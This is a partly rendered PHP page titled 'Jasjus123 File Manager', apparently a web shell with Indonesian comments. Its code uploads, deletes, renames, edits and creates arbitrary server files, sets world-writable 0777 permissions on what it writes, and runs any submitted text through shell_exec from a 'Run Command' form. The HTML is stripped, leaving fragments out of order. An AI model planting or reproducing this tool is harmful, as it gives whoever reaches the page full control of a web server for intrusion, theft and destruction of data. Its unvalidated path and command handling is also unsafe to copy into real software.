Login Jasjus123

"; } else { $notification .= "Gagal mengupload file: " . $files['name'][$i] . "
"; } } } // Fungsi delete file/folder if (isset($_GET['delete'])) { $pathToDelete = $_GET['delete']; if (is_dir($pathToDelete)) { if (rmdir($pathToDelete)) { $notification = "Folder berhasil dihapus: $pathToDelete"; } else { $notification = "Gagal menghapus folder: $pathToDelete"; } } elseif (file_exists($pathToDelete)) { if (unlink($pathToDelete)) { $notification = "File berhasil dihapus: $pathToDelete"; } else { $notification = "Gagal menghapus file: $pathToDelete."; } } } // Fungsi rename file/folder if (isset($_POST['rename'])) { $oldName = $_POST['old_name']; $newName = $_POST['new_name']; if (rename($oldName, $newName)) { chmod($newName, 0777); // Berikan izin penuh ke file/folder yang baru di-rename $notification = "Berhasil merename $oldName menjadi $newName"; } else { $notification = "Gagal merename $oldName."; } } // Fungsi edit file $editContent = ''; $fileToEdit = ''; if (isset($_GET['edit'])) { $fileToEdit = $_GET['edit']; if (file_exists($fileToEdit) && is_file($fileToEdit)) { $editContent = file_get_contents($fileToEdit); } else { $notification = "File tidak ditemukan atau bukan file valid."; } } if (isset($_POST['save'])) { $fileToSave = $_POST['file']; $content = $_POST['content']; if (file_put_contents($fileToSave, $content)) { chmod($fileToSave, 0777); // Berikan izin penuh ke file yang telah disimpan $notification = "File $fileToSave berhasil disimpan dan diberikan izin penuh (chmod 777)."; } else { $notification = "Gagal menyimpan file $fileToSave."; } } // Fungsi membuat file/folder if (isset($_POST['create_file'])) { $newFile = $_POST['new_file']; if (file_put_contents($newFile, '') !== false) { chmod($newFile, 0777); // Berikan izin penuh ke file baru $notification = "File $newFile berhasil dibuat."; } else { $notification = "Gagal membuat file $newFile."; } } if (isset($_POST['create_folder'])) { $newFolder = $_POST['new_folder']; if (mkdir($newFolder)) { chmod($newFolder, 0777); // Berikan izin penuh ke folder baru $notification = "Folder $newFolder berhasil dibuat."; } else { $notification = "Gagal membuat folder $newFolder."; } } if (isset($_POST['cmd'])) { $cmd = $_POST['cmd']; // Tambahkan opsi verbose untuk perintah tertentu jika diperlukan $verboseCommands = ['chmod', 'cp', 'mv', 'rm']; // Pisahkan perintah utama dan argumen $cmdParts = explode(' ', $cmd, 2); $mainCommand = $cmdParts[0]; $cmdArgs = isset($cmdParts[1]) ? $cmdParts[1] : ''; // Jika perintah termasuk dalam daftar verbose, tambahkan opsi -v if (in_array($mainCommand, $verboseCommands)) { $cmd = $mainCommand . ' -v ' . $cmdArgs; } // Jalankan perintah dan tangkap outputnya $cmdOutput = shell_exec($cmd . ' 2>&1'); // Jika output kosong, beri pesan berhasil if (trim($cmdOutput) === '') { $cmdOutput = "Perintah '{$cmd}' berhasil dijalankan."; } } if (isset($_POST['bulk_delete']) && isset($_POST['selected_files'])) { $selectedFiles = $_POST['selected_files']; foreach ($selectedFiles as $fileToDelete) { if (is_dir($fileToDelete)) { if (rmdir($fileToDelete)) { $notification .= "Folder berhasil dihapus: $fileToDelete
"; } else { $notification .= "Gagal menghapus folder: $fileToDelete
"; } } elseif (file_exists($fileToDelete)) { if (unlink($fileToDelete)) { $notification .= "File berhasil dihapus: $fileToDelete
"; } else { $notification .= "Gagal menghapus file: $fileToDelete
"; } } } } // Fungsi logout if (isset($_GET['logout'])) { session_unset(); // Hapus semua data sesi session_destroy(); // Hancurkan sesi header('Location: ' . $_SERVER['PHP_SELF']); // Redirect ke halaman login exit; } ?> Jasjus123 File Manager
Upload File
Drop files here to upload or click to select
Create File
Create Folder
Run Command
Command Output:
                
            

Edit File:

File Directory

= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { return $bytes . ' bytes'; } elseif ($bytes == 1) { return $bytes . ' byte'; } else { return '0 bytes'; } } // Dapatkan direktori saat ini $currentDir = isset($_GET['dir']) ? realpath($_GET['dir']) : getcwd(); if (!$currentDir || !is_dir($currentDir)) { $currentDir = getcwd(); // Set ke root aplikasi } chdir($currentDir); // Scan direktori $files = scandir($currentDir); foreach ($files as $file) { if ($file !== '.' && $file !== '..') { // Path lengkap ke file/direktori $path = realpath($currentDir . DIRECTORY_SEPARATOR . $file); // Tentukan apakah ini file atau folder $icon = is_dir($path) ? '📁' : '📄'; $link = is_dir($path) ? '?dir=' . urlencode($path) : '?edit=' . urlencode($path); // Dapatkan izin file dalam format angka (777, 755, dll.) $permissions = substr(sprintf('%o', fileperms($path)), -3); // Dapatkan ukuran file (jika file, bukan folder) $fileSize = is_file($path) ? filesize($path) : '-'; $formattedSize = is_file($path) ? formatSizeUnits($fileSize) : '-'; // Dapatkan waktu modifikasi file/folder $modificationTime = date('Y-m-d H:i:s', filemtime($path)); // Buat link untuk "Open" if (is_file($path)) { $fileLink = "Open"; } else { $fileLink = ''; } // Outputkan row tabel echo ""; } } ?>
Nama Jenis Izin Ukuran Waktu Modifikasi Aksi
$icon $file " . (is_dir($path) ? 'Folder' : 'File') . " $permissions $formattedSize $modificationTime
$fileLink